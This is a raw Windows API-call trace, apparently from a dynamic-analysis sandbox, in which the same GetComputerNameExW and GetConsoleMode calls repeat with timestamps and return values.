	[0052.121] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.121] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.121] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.121] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.121] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.121] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.121] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.121] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.121] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.121] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.121] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.121] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.122] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.122] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.122] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.122] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.122] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.122] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.122] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.122] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.122] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.122] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.122] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.122] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.123] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.123] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.123] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.123] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.123] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.123] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.123] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.124] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.124] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.124] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.124] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.124] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.124] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.124] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.124] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.124] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.124] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.124] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.124] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.125] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.125] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.125] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.125] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.125] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.125] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.125] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.125] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.125] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.125] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.129] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.129] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.129] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.129] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.129] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.129] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.129] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.129] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.130] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.130] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.130] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.130] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.130] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.130] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.130] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.130] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.130] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.130] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.130] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.130] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.131] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.131] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.131] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.131] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.131] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.131] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.131] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.131] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.131] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.131] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.131] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.131] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.131] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.131] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.132] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.132] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.132] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.132] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.132] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.132] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.132] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.132] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.132] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.132] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.132] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.132] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.133] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.133] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.133] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.133] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.133] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.133] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.133] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.133] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.133] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.133] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.133] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.133] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.133] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.134] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.134] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.134] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.138] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.138] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.138] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.138] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.138] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.138] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.138] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.138] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.138] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.138] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.139] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.139] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.139] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.139] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.139] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.139] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.139] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.139] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.139] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.139] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.139] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.139] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.140] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.140] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.140] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.140] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.140] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.140] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.140] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.140] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.140] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.140] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.140] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.140] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.140] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.140] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.141] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.141] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.141] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.141] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.141] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.141] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.141] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.141] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.141] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.141] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.141] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.141] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.142] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.142] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.142] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.142] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.142] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.142] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.142] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.142] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.146] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.146] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.146] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.146] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.146] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.146] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.146] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.146] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.146] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.146] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.147] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
